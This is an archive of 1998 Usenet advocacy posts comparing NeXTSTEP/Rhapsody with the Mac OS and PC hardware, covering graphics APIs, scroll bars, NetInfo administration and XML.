well as the fastest. We're not talking about convolving or some other
complex manipulation involving input from sets of adjacent pixels, we're
talking about per-color-channel xoring and other simple manipulations: grab
a pixel, split it into 3-4 color channels (or grab the appropriate 64-bit
color from a lookup table), manipulate each separately based on a set
algorithm, combine the separate parts back together again and plot it.
Unless DPS bitmap primitives do this for GX-style color manipulations,
DPS-users will have to do multiple passes on a bitmap to achieve what GX
probably does in one pass.
It isn't difficult to do, at least if you don't mind less-than-maximum
efficiency. However, to keep it coherent with the rest of the design of DPS
and to ensure that ALL Rhapsody programmers will be able to use it, Apple
has to implement it, not me.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 15:01:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14AAB36-E72ED@206.165.43.27>
References: <6g2tuj$5v3$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Maury Markowitz <maury@remove_this.istar.ca> said:
Lawson English <english@primenet.com> said:
> > you can focus on the issue of what GX can do that DPS/Rhapsody graphics
> > cannot [at least in approximately the same time-span] and _vice versa_
> and
> > why it might be good, at some point, to make sure that Rhaposdy
graphics
> > CAN do these things.
> >
> > Your choice, Maury.
>
> I choose neither. I choose to focus on what Rhapsody can do, and
that's
> all.
So GX can offer nothing more to Rhaposdy than what Apple has already lifted
from it (which you aren't even sure about)?
Kool.
Now we know where you are coming from, Mr. Ragosta.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Glowing NT 5.0 reports
Date: 30 Mar 1998 15:47:47 GMT
Organization: P & L Systems
Message-ID: <6foer3$mbc$3@ironhorse.plsys.co.uk>
References: <3517E517.81D748FC@email.sps.mot.com> <35190f30.0@news.together.net>
<petrichEqEz05.C21@netcom.com> <351a5ba8.0@news.together.net>
<6ffqiu$f60$1@bignews.shef.ac.uk> <351bd0c6.0@news.together.net>
<joe.ragosta-2803982106350001@elk69.dol.net> <351db696.0@news.together.net>
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Cc: ltogar@msn.com
In <351db696.0@news.together.net> "Lance Togar" wrote:
> Unix isn't all that difficult but it does complex things that require an
> understanding of what's going on. GUIs don't address this issue. This is a
> major reason why many NT installations are unsuccessful. Easy to play with,
> not so easy to understand what's needed to accomplish a particular goal.
> More than 10 years ago, AT&T's 3B1 had a very nice GUI. Users still
required
> a knowledge of Unix to operate it. It didn't last long since the GUI
> overhead wasn't worth the minimal gain in "user friendliness"
>
My hope is that it should be possible to do a basic set of standard tasks
(like creating a simple network, connecting to an ISP etc) in a
straightforward way using a set of GUI-based apps. NetInfo already makes it
possible to do much of the former relatively easily.
I'm sure it will always be the case, however, that advanced network design
will be difficult and require sysadmin skills simply because advanced network
design is, umm, advanced. Unless someone's able to design an AI-based expert
system to do the work for you...
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Adobe dropping DPS rumor (Lawson?)
Date: 30 Mar 1998 14:20:01 GMT
Organization: P & L Systems
Message-ID: <6fo9mh$mbc$2@ironhorse.plsys.co.uk>
References: <6fa43j$12b27@odie.mcleod.net> <B13E3F65-26667@206.165.43.143>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B13E3F65-26667@206.165.43.143> "Lawson English" wrote:
> > >For instance, how do you make a color wheel that handles all the color
> > >spaces that a DTP professional might want to deal with? Must every
> > >application "roll their own" or should you provide services that handle
> > >this for them?
> > Have you used the standard color panel in Openstep or Rhapsody ?
>
> But that's a class library, not a set of raw DPS calls and it was provided
> by NeXT, not Adobe.
>
Umm, you asked "How do you make a color wheel that handles all the color
spaces that a DTP professional might want to deal with?"
The OPENSTEP Color Panel does just that. I can't see why you'd want to do it
as raw DPS calls...?
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Glowing NT 5.0 reports
Date: 2 Apr 1998 16:54:04 GMT
Organization: P & L Systems
Message-ID: <6g0frc$oqv$5@ironhorse.plsys.co.uk>
References: <3517E517.81D748FC@email.sps.mot.com> <35190f30.0@news.together.net>
<petrichEqEz05.C21@netcom.com> <351a5ba8.0@news.together.net>
<6ffqiu$f60$1@bignews.shef.ac.uk> <351bd0c6.0@news.together.net>
<6fhk3a$6dr$1@bignews.shef.ac.uk> <351d1ab5.0@news.together.net>
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Cc: ltogar@msn.com
Hmm, I thought I'd replied to this... apologies if this is a repeat.
In <351d1ab5.0@news.together.net> "Lance Togar" wrote:
> >Now, having got that cleared up, you haven't answered the question; why is
> >world "still waiting since the majority don't own Apple hardware"?
> ..
> OK, a virtual bow from me.
>
Certainly no need for that :-)
> This was reference to Apple market share and not
> intended as it apparently was taken.
>
OK.
> The fact is, Apple has never had a
> serious server presence and it's going to take more than wishful thinking
to
> change that. Gluing a Mac GUI onto NextSTEP isn't going to do it because
> Unix servers are maintained by people who know how it works.
>
Absolutely; this is why I'm glad Apple has been taking the time to update the
BSD layer to 4.4Lite. They seem to be serious about providing a top-notch
implementation.
> since it's inception, Apple has always developed it's OSs in such a way
that
> third party hardware either didn't work or didn't work as well. This seems
> to be changing but there's a lot of history to overcome and having Jobs
> hanging around doesn't make me feel very warm and fuzzy about Apple's
> chances.
>
Whilst having Jobs in charge doesn't exactly give me a warm fuzzy feeling
either (except insofar as so many people, esp Wall Street, seem to think this
is a Good Thing), one thing he definitely changed his tune on since the
original Mac is standards. He stressed this with the NeXT, which despite its
outward appearance of non-conformance, actually adhered to a plethora of
standards. NeXT did things different where they could do things Better, but
still tried to retain "backwards compatibility" where possible (NetInfo can
be made to interoperate with NIS quite well, for example. Jobs emphasised
this approach at one of the Expos, where he stated that the goal was to be
70% standard, and to excel at other 30% (he said it more eloquently, but I
forget his exact words).
I hope this raises your temperature at least from frosty to tepid?
Best wishes,
mmalc.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 00:48:22 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6g400m$ts5$2@blue.hex.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <tbrown-3003982122070001@mv149.axom.com> <6fsc2b$brg$1@inconnu.isu.edu> <6fu6ag$3jr$1@interport.net> <3522A170.3DC9099@spamno.merge.com> <6g033u$80p$13@blue.hex.net> <352409E6.827F190F@spamno.merge.com>
On Thu, 02 Apr 1998 15:57:58 -0600, John Sevey <jssevey@spamno.merge.com> wrote:
>Christopher Browne wrote:
>> The problem is that one person's "cheap, commodity" PPC box is another
>> person's "isn't that overpriced?" PPC box.
>
>Point taken. When I wrote the original article, I was thinking about
>IBM's Power series computers, and comparing their price with that of the
>"consumer" PPC computers. My company has a nice little IBM Power 850
>running AIX. I think it uses a 166Mhz 603e and cost ~$4500. This is
>clearny NOT commodity, huh?
Certainly. I'd hazard the guess that said AIX box will have rather
better I/O capabilities than anything on the typical desktop; that's
nonetheless not terribly relevant to the "dumb user" that is as likely
to be doing fancy-looking graphics as anything else. And of course,
said user would certainly blanch at the thought of paying $4500 for
something that probably doesn't have mega-megahertz and some mondo-4D
graphics card...
>> You can put together an eminently functional *new* system including
>> monitor and a reasonable amount of RAM for about $1000 if you go with a
>> Cyrix/AMD CPU in the "Intel realm."
>
>I've been attempting to do that Intel PC thing, and have come up with a
>"functional" system (166Mhz, 32M ram, 1 gig drive, etc) for about $700,
>with a crappy monitor.
Sounds reasonable. I'm assuming 64M of RAM, and a somewhat less crappy
monitor for the $1K. We're certainly on the same page, estimate-wise.
>> I don't see that in the PPC architecture. It looks like I have to start
>> out by spending about $2000 to get anything in a new system. And it's
>> not clear that it is all that much better than the $1000 "disposable"
>> system.
>
>While I don't want to get into that "The chip inside every Power
>Macintosh G3 is up to twice as fast" argument (save it for
>comp.sys.mac.advocacy), I can argue that my current PPC Linux Power
>Computing Mac clone is worth (used) less than the $700 build-your-own PC
>system. I could argue that the speed/performance of these two systems
>that I mentioned are somewhat comparable.
It's been tough for years to come up with any reasonable benchmarks,
because you can always twist the statistics somehow. TPC/$ benchmarks
are almost always run on hardware and software that is not
representative of the real world.
I am quite entertained by the anti-Intel "this chip is burning" TV ad; I
expect that the performance of the systems are not utterly uncomparable.
>> It'll surely have a faster CPU, but it may have the *same* hard drive,
>> and not (at least not *clearly*) be substantially faster from an I/O
>> perspective.
>
>If I didn't want to buy a G3 Mac (these are the $1500-$4000+ price
>range), I could also consider the $900-$1500 clones and non-G3 PowerPC
>Macs that are still out there, new. Some of these even use the 166Mhz
>603e, like the IBM Power 850.
>
>BTW, I think that I could come up with a new PPC/Linux system that was
>within $250 of the $700 "build-it" PC that I mentioned. The difference
>would mainly be the cost of a crappy monitor.
Fair enough. Unfortunately, this is the point at which lies and
benchmark statistics (or are they simply the same thing?) again raise
their ugly head.
Because the question is, was, and continues to be:
"Am I better off in terms of computing power purchased if I spend my
$1000 on a PPC machine, or on a Intel/Cyrix/K6 machine?"
The question can change; it could be: "Is there a reasonable price point
at which the PPC machine provides more power for the price?" With
similar questions being sensible for Digital Alpha, StrongARM, and some
of the MIPS family.
I've got an Alpha box; I would quite like for my next server to come
from the selection of [Intel SMP | StrongARM | MIPS | PPC]; the first is
probably pricier than I want to get into at this point; possibly also
the PPC. MIPS and StrongARM get hurt in the fray by the fact that there
aren't any near-commodity vendors of "PC class" hardware. The choice is
typically between an underpowered Nintendo/64 and an SGI WebForce
Server, neither of which are terribly suitable...
Unfortunately, almost anyone that has the background to be able to do a
benchmark to compare performance between the two $1K machines (and I'd
suggest spending the same amount of money on 'em so that prices *are*
comparable) is sufficiently nonobjective that the results will have to
be taken with a huge grain of salt.
--
"Note that if I can get you to "su and say" something just by asking,
you have a very serious security problem on your system and you should
look into it." (By Paul Vixie, vixie-cron 3.0.1 installation notes)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 00:48:33 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6g4011$tdf$6@blue.hex.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <tbrown-3003982122070001@mv149.axom.com> <6fsc2b$brg$1@inconnu.isu.edu> <6fu6ag$3jr$1@interport.net> <3522A170.3DC9099@spamno.merge.com> <6g033u$80p$13@blue.hex.net> <352409E6.827F190F@spamno.merge.com>
On Thu, 02 Apr 1998 15:57:58 -0600, John Sevey <jssevey@spamno.merge.com> wrote:
>Christopher Browne wrote:
>> The problem is that one person's "cheap, commodity" PPC box is another
>> person's "isn't that overpriced?" PPC box.
>
>Point taken. When I wrote the original article, I was thinking about
>IBM's Power series computers, and comparing their price with that of the
>"consumer" PPC computers. My company has a nice little IBM Power 850
>running AIX. I think it uses a 166Mhz 603e and cost ~$4500. This is
>clearny NOT commodity, huh?
Certainly. I'd hazard the guess that said AIX box will have rather
better I/O capabilities than anything on the typical desktop; that's
nonetheless not terribly relevant to the "dumb user" that is as likely
to be doing fancy-looking graphics as anything else. And of course,
said user would certainly blanch at the thought of paying $4500 for
something that probably doesn't have mega-megahertz and some mondo-4D
graphics card...
>> You can put together an eminently functional *new* system including
>> monitor and a reasonable amount of RAM for about $1000 if you go with a
>> Cyrix/AMD CPU in the "Intel realm."
>
>I've been attempting to do that Intel PC thing, and have come up with a
>"functional" system (166Mhz, 32M ram, 1 gig drive, etc) for about $700,
>with a crappy monitor.
Sounds reasonable. I'm assuming 64M of RAM, and a somewhat less crappy
monitor for the $1K. We're certainly on the same page, estimate-wise.
>> I don't see that in the PPC architecture. It looks like I have to start
>> out by spending about $2000 to get anything in a new system. And it's
>> not clear that it is all that much better than the $1000 "disposable"
>> system.
>
>While I don't want to get into that "The chip inside every Power
>Macintosh G3 is up to twice as fast" argument (save it for
>comp.sys.mac.advocacy), I can argue that my current PPC Linux Power
>Computing Mac clone is worth (used) less than the $700 build-your-own PC
>system. I could argue that the speed/performance of these two systems
>that I mentioned are somewhat comparable.
It's been tough for years to come up with any reasonable benchmarks,
because you can always twist the statistics somehow. TPC/$ benchmarks
are almost always run on hardware and software that is not
representative of the real world.
I am quite entertained by the anti-Intel "this chip is burning" TV ad; I
expect that the performance of the systems are not utterly uncomparable.
>> It'll surely have a faster CPU, but it may have the *same* hard drive,
>> and not (at least not *clearly*) be substantially faster from an I/O
>> perspective.
>
>If I didn't want to buy a G3 Mac (these are the $1500-$4000+ price
>range), I could also consider the $900-$1500 clones and non-G3 PowerPC
>Macs that are still out there, new. Some of these even use the 166Mhz
>603e, like the IBM Power 850.
>
>BTW, I think that I could come up with a new PPC/Linux system that was
>within $250 of the $700 "build-it" PC that I mentioned. The difference
>would mainly be the cost of a crappy monitor.
Fair enough. Unfortunately, this is the point at which lies and
benchmark statistics (or are they simply the same thing?) again raise
their ugly head.
Because the question is, was, and continues to be:
"Am I better off in terms of computing power purchased if I spend my
$1000 on a PPC machine, or on a Intel/Cyrix/K6 machine?"
The question can change; it could be: "Is there a reasonable price point
at which the PPC machine provides more power for the price?" With
similar questions being sensible for Digital Alpha, StrongARM, and some
of the MIPS family.
I've got an Alpha box; I would quite like for my next server to come
from the selection of [Intel SMP | StrongARM | MIPS | PPC]; the first is
probably pricier than I want to get into at this point; possibly also
the PPC. MIPS and StrongARM get hurt in the fray by the fact that there
aren't any near-commodity vendors of "PC class" hardware. The choice is
typically between an underpowered Nintendo/64 and an SGI WebForce
Server, neither of which are terribly suitable...
Unfortunately, almost anyone that has the background to be able to do a
benchmark to compare performance between the two $1K machines (and I'd
suggest spending the same amount of money on 'em so that prices *are*
comparable) is sufficiently nonobjective that the results will have to
be taken with a huge grain of salt.
--
"Note that if I can get you to "su and say" something just by asking,
you have a very serious security problem on your system and you should
look into it." (By Paul Vixie, vixie-cron 3.0.1 installation notes)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 3 Apr 1998 09:57:18 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g2bpu$m4p$1@ns3.vrx.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
<35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
<3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net>
<3524bac0.0@maser.urz.unibas.ch>
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In <3524bac0.0@maser.urz.unibas.ch> no_spam_frank@ifi.unibas.ch claimed:
(this is a quote of a quote, sorry)
> > I have to admit, this is a really compelling argument for left-handed
> > scrollbars...
Hmmm. What it basically says is that if you have a poorly designed UI for
an app with a poorly designed form layout, you'll have problems. I think
that's more a general statement than anything about scroll bars. What if the
form field had been off the page to the right in it's entirety? What if the
field had been 50 pixels to the left? What if it was too big and the
horizontal had been off the bottom?
Now in fairness I think that upper and left would likely be better than
lower and right for these sorts of situations. But the key here, as I see
it, is to make sure this doesn't happen in the first place. Forms should not
be allowed to be displayed in ways the average user can't use them.
> I wasn't in any way implying that your view was wrong - I dont't beleive
> that there is any 'right' or 'wrong' in these personal matters. I just had
> the impression that you expectations didn't match what NEXTSTEP had to
> offer. It must be considered a coincidence that I very much favour most of
> NEXTSTEP's way. *I* won't force others to use it, nor do I consider those
> who prefere other interfaces 'stupid'.
After 2 & 1/2 months of solid use, there's a lot of things I like, and a
few I don't. Scroll bar _placement_ isn't too much of an issue for me, but
scroll bar _action_ is - I REALLY prefer page-flip on click-in-grey and find
myself looking for places in documents because I hit the scroller by mistake.
Other than that and a few things that simply appear to be missing, I really
like it. I don't see my Mac used that much any more, other than for older
games and newsgroup use.
Maury
From: John Stauffer <john@conix3d.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OpenGL for Mac OS FREE
Date: Fri, 03 Apr 1998 08:30:27 -0800
Organization: Conix
Message-ID: <35250EA2.47B9@conix3d.com>
References: <35242B12.2816E8E4@rs6000.cmp.ilstu.edu>
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If you would like the complete OpenGL SDK for the MacOS goto...
http://www.conix3d.com
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 3 Apr 1998 19:40:31 GMT
Organization: Cygnus Solutions
Message-ID: <6g3dvf$ovn$1@cronkite.cygnus.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
<35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
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In <3523C37E.614550BA@nstar.net> "Michael J. Peck" wrote:
> When I complained about pppd on NEXTSTEP, I wasn't implying that
> NEXTSTEP was the only system where these problems happened. I was
> countering the notion that everything "Just Works".
>
My statement about things just working made absolutely no mention of the Unix
layer on Nextstep. I was comparing the body of NeXTstep's graphical
interface layers compared to the body of X as a graphical interface layer. I
would think it would be obvious in such a comparison that Unix level
utilities aren't being taken into consideration.. Unix is part of Nextstep's
OS layer, not graphical layer. X has no OS layer.
If anyone had written a graphical front end that claimed to handle all of
pppd (like the way similar things have been done for the client side of PPP
on a mac or win95), I'd see room for criticism.. but I've never seen such a
beast on a NeXT nor even for X. (and I don't mean something that merely runs
your CLI scripts, the way Gatekeeper does -- I mean something that handles
every aspect of the ppp control and configuration, not something that just
organizes your hand-written control scripts)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
=========Intel: Putting the backward in backward compatible.============
"The hardest thing about being you isn't what you can do, it's living
with still not being able to do all of the things you can't" - Lois Lane
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 3 Apr 1998 20:57:57 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6g3igl$452$3@anvil.BLaCKSMITH.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523BFDF.529161F8@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
[ ... ]
> And I have a bad attitude about a system (and its advocates) that try to
> tell me what is the "best" way to interact with a GUI.
So change the GUI to suit yourself.
NEXTSTEP doesn't prevent that, and the new Yellow Box functionality like
NSInterfaceStyle lets developers write code that will automaticly display
using a variety of GUI styles.
> I never really looked at it from the point of view of *my* attitude. I
> think I just assumed that the stubborn obstinence of NeXT advocates,
> proudly, angrily pissing in the wind on the issue of scrollbars (among
> others) was a matter of *their* attitude, somewhat akin to the proud Mac
> user making his case for cooperative multi-tasking.
It would not be terribly difficult to change the ScollView behavior in a
global fashion.
> As a matter of fact, there's just nothing so special about NeXTstep that
> merits all this talk of Brave New Paradigms.
An opinion. Others disagree.
> You can feel free to hate
> me for saying that, but I'm no stranger to the odd magnification of
> adoration that occurs when you first meet a system you can really like,
> for personal reasons. But step back, man, and take a look at the big
> picture; I had to eventually get to a point where I could say that all
> my vapid spouting about virtuous MacOS firsts was basically irrelevant.
I don't hate you for saying that. Too bad you're so disillusioned, though.
I fondly remember seeing the original 128K Mac running MacPaint or that cool
maze generator back in 1985 or so. For that time, it rocked. The Mac is
worthy of being remembered for it's firsts, for the sake of historical
perspective, if nothing else.
> That's great, but it's not like I'm on the outside looking in, simply
> skeptical or puzzled at why this could be. I used the beloved Browser,
> and frankly, it sucks. It can't move files anywhere near as facilely as
> the Finder, yet raise the issue of the Finder for a NeXT advocate and
> you get an earful about "clutter". Magically the conversation has been
> transformed from "utility" to "aesthetics".
Try using two browsers.
> But I can understand why your shell seemed so useless, if you really
> used the box as it shipped; you didn't have filename completion,
False. Even the standard csh supports filename completion.
> ANSI color directory listings,
Sheesh! Since the majority of NeXT hardware sold was mono systems, I think
they could be forgiven for not shipping a color 'ls'.
> any convenience shells whatsoever, etc., etc.
Modern versions of the OS ship with zsh. Back in 1988 thru the early 1990's,
/bin/sh and /bin/csh were the two standard shells that everyone shipped, and
damned few vendors provided anything else.
Besides, what were you looking for? It was probably available....
[ ... ]
> C'mon, this is insulting! I used click-to-focus for at least a year
> before I'd ever *seen* focus-follows-mouse. I like focus-follows-mouse
> better, and I have GOOD reasons for doing so. Don't act like I'm a
> spoiled child who's never been outside the boundaries of his parents'
> home.
Fine. focus-follows-mouse is available for NEXTSTEP; the rather simple
change to the WindowServer.ps code has been around for years and years.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: accuracy of Stepwise Krishna article
Date: 30 Mar 1998 21:24:41 GMT
Organization: P & L Systems
Message-ID: <6fp2ip$mbc$5@ironhorse.plsys.co.uk>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6fgnpv$pgh$1@ns3.vrx.net>
<6fhar1$754$1@crib.bevc.blacksburg.va.us> <6fguj3$rf5$1@ns3.vrx.net>
<6fhht5$7ca$1@crib.bevc.blacksburg.va.us> <6fno4d$71e$1@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
In <6fno4d$71e$1@ns3.vrx.net> Maury Markowitz wrote:
> And now we have XML, anyone know much about it?
>
It's sort of an intermediary between SGML and HTML; the most important
differences between them are that for XML:
DTDs are not required
End tags are required
External entities are URLs
For an XML toolkit, take a look at
http://www.ltg.ed.ac.uk/software/
For an FAQ see:
http://www.ucc.ie/xml/
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 31 Mar 1998 17:22:25 GMT
Organization: P & L Systems
Message-ID: <6fr8oh$ooj$1@ironhorse.plsys.co.uk>
References: <350EB65F.DEE21F07@nstar.net> <6erdcg$1lp@flonk.uk.sun.com>
<35114EE5.5026@nstar.net> <slrn6h5aq9.r9c.sal@panix3.panix.com>
<3512E3E5.1884@convex.hp.com> <3512e940.0@nnrp1.news.uk.psi.net>
<351439FD.10F8@convex.hp.com> <3514a441.0@nnrp1.news.uk.psi.net>
<3514BEA8.520B@nstar.net> <slrn6hcble.94c.mbkennel@lyapunov.ucsd.edu>
<3517D6CF.9C24A3B6@nstar.net> <us5yaxzindj.fsf@ai.mit.edu>
<351933F2.5F94D7B6@nstar.net>
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Cc: mjpeck@nstar.net
In <351933F2.5F94D7B6@nstar.net> "Michael J. Peck" wrote:
> Yeesh! If you're right, you're right. _I_ never noticed this, but I
> gotta concede the point if you say it's so. Sorry.
>
In some respects this may be a flaw of OPENSTEP -- in order to find out
everything there is available to you, you really do have to either read the
manual or experiment a lot. I should have an article about the color wheel
appearing on Stepwise soon: not, you might have thought, a very inspiring
topic, but I recently gave a NEXTSTEP-user course to some folks who had been
using the system for 3+ years, and they hadn't found half of the features.
There's also a feature I found in preparing the course which I hadn't spotted
after 7 years of using the thing -- I'd be interested to know if anyone else
knew about the Shift modifier in the Color Wheel...?
NEXTSTEP's an incredibly rich environment: you simply cannot grok it
completely after a few days' play, let alone just by looking at a screenshot.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 10:57:38 GMT
Organization: P & L Systems
Message-ID: <6fvqv2$oqv$2@ironhorse.plsys.co.uk>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
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<35234D04.18B5F492@nstar.net>
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In <35234D04.18B5F492@nstar.net> "Michael J. Peck" wrote:
> And what you'll never get me to admit is that left-handed scrollbars are
> inherently *better*. Or that, for some crazy reason, right-hand
> scrollers "suck".
>
At the risk of restarting a debate that has gone on ad nauseum before, I have
seen one fairly strong argument in favour of left hand scrollers -- namely
that text tends to be left aligned, so having scrollers on the left allows
you to move a window partially off the right of a screen and still read most
of the text and navigate -- howevre clearly there's an element of habituation
here, and simple personal preference.
Could we just leave it as "This is something that appears to have been
addressed in Rhapsody"?
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 21:39:46 GMT
Organization: P & L Systems
Message-ID: <6g10j2$oqv$6@ironhorse.plsys.co.uk>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net>
<3523BFDF.529161F8@nstar.net>
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Cc: mjpeck@nstar.net
In <3523BFDF.529161F8@nstar.net> "Michael J. Peck" wrote:
> That's great, but it's not like I'm on the outside looking in, simply
> skeptical or puzzled at why this could be. I used the beloved Browser,
> and frankly, it sucks. It can't move files anywhere near as facilely as
> the Finder, yet raise the issue of the Finder for a NeXT advocate and
> you get an earful about "clutter".
>
For me, absolutely. And the problem of what to do with a dragged document if
you decide you want to let go of it; if the screen is able to accept dropped
files, it makes finding somewhere to let go of the document a lot more
difficult.
Apart from that, I seem to remember that you didn't find out that the shelf
is resizeable? *If* this is the case then I can understand your frustration.
> Magically the conversation has been
> transformed from "utility" to "aesthetics".
>
Not for me; I still find the Browser a lot easier to manage than the Finder.
> Oh, please. I did my best to wear the Spock ears and fit in with the
> whole thing, I really did.
>
Umm, forgive me Mike, but I really did get the impression you didn't have
your heart in it, or you had inappropriate expectations... I think your
disappointment primarily with fighting the networking side of things spilled
over into other aspects.
That said, I hope I have always said (albeit implicitly) that not everybody
takes to NEXTSTEP; you seem to be in the minority of people who don't, and I
think we should respect your attitude on that. So come on guys, lighten up
on him.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 10:51:34 GMT
Organization: P & L Systems
Message-ID: <6fvqjm$oqv$1@ironhorse.plsys.co.uk>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net>
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In <3522A4BC.74C7BEF0@nstar.net> "Michael J. Peck" wrote:
> > That's interesting to me, because my experience with NeXTStep has been
> > that it has the highest "just work" quotient of any OS I've worked
> > with, at least on its native hardware.
>
> There was, of course, trying to get it to stop using NetInfo, so that it
> wouldn't sit there for twenty minutes, unusable, any time somebody
> opened "Host Manager",
>
Hmm, 20 minutes sounds like an overstatement...
> [other admin problems]
>
It sounds to me like you would have seriously benefitted from having the
documentation. There's a big chapter in the sysadmin section on NEXTSTEP in
heterogeneous networks that I suspect would have saved you a lot of grief.
That said, it also sounds like much of your pain derived from these admin
problems rather than from the UI itself, which is a rather different topic
than that I thought was being discussed. However...
> Then there was lack of GUI configurability. I get used to a certain
> interactive style, and I want to move and raise/lower my NEXTSTEP
> windows that way. No dice, the prefs aren't any help.
>
Sorry, but tough. When I use X-windowsm Windows or a Mac I want things to
work the way they do on NEXTSTEP. No dice, the prefs arent't any help.
> No rc files to edit, nothing, really, to configure at all.
>
Umm, not quite true; most of the configuration options (few though they are)
are handled by the Preferences application, which is basically a front end to
dwrite.
> Then there was getting help on programs. The only way to do this was to
> spawn a GUI program, usually by starting the application in question,
> then choosing Help... from the menu and paging through some RTF file
> with left-handed scrollers and *NO* page up/page down keys.
>
